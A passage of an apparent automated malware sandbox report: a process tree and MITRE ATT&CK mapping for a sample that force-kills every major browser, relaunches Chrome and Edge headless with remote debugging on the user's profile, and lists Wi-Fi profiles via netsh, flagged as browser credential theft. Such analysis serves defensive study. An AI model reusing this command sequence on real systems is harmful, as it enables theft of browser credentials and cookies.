    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    PID:4656
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffda157c728,0x7ffda157c734,0x7ffda157c740
      4⤵
      PID:2360
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1880,i,295703182726664742,530838480537928262,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1876 /prefetch:2
      4⤵
      PID:4756
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=1880,i,295703182726664742,530838480537928262,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:11
      4⤵
      System Time Discovery
      PID:5836
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1880,i,295703182726664742,530838480537928262,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2028 /prefetch:13
      4⤵
      PID:3136
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19426 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1880,i,295703182726664742,530838480537928262,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2844 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1692
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19426 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1880,i,295703182726664742,530838480537928262,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2816
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19426 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1880,i,295703182726664742,530838480537928262,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4052 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3956
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1880,i,295703182726664742,530838480537928262,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:14
      4⤵
      PID:1872
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msedge.exe
    3⤵
    - Kills process with taskkill
    PID:1400
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=19636 --headless=new --disable-gpu --no-first-run --no-default-browser-check --disable-extensions --disable-background-networking --disable-component-update --disable-sync --disable-default-apps --mute-audio --no-sandbox "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:5376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x250,0x254,0x258,0x24c,0x260,0x7ffda13ac188,0x7ffda13ac194,0x7ffda13ac1a0
      4⤵
      PID:2712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:2
      4⤵
      PID:5972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2896 /prefetch:11
      4⤵
      System Time Discovery
      PID:684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2912 /prefetch:13
      4⤵
      PID:2436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19636 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=19636 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
      4⤵
      PID:3364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:14
      4⤵
      PID:5948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:14
      4⤵
      PID:5504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2208,i,10527932821670721138,2662455817405725964,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:14
      4⤵
      PID:2664
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    PID:3416
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:5176
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msedge.exe
    3⤵
    - Kills process with taskkill
    PID:440
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im brave.exe
    3⤵
    - Kills process with taskkill
    PID:4384
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im opera.exe
    3⤵
    - Kills process with taskkill
    PID:472
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    PID:3236
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:1368
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msedge.exe
    3⤵
    - Kills process with taskkill
    PID:3536
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im brave.exe
    3⤵
    - Kills process with taskkill
    PID:760
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im opera.exe
    3⤵
    - Kills process with taskkill
    PID:4616
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im firefox.exe
    3⤵
    - Kills process with taskkill
    PID:1560
- - C:\Windows\SYSTEM32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5664

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5404

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5456

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5504

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Authentication Process

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process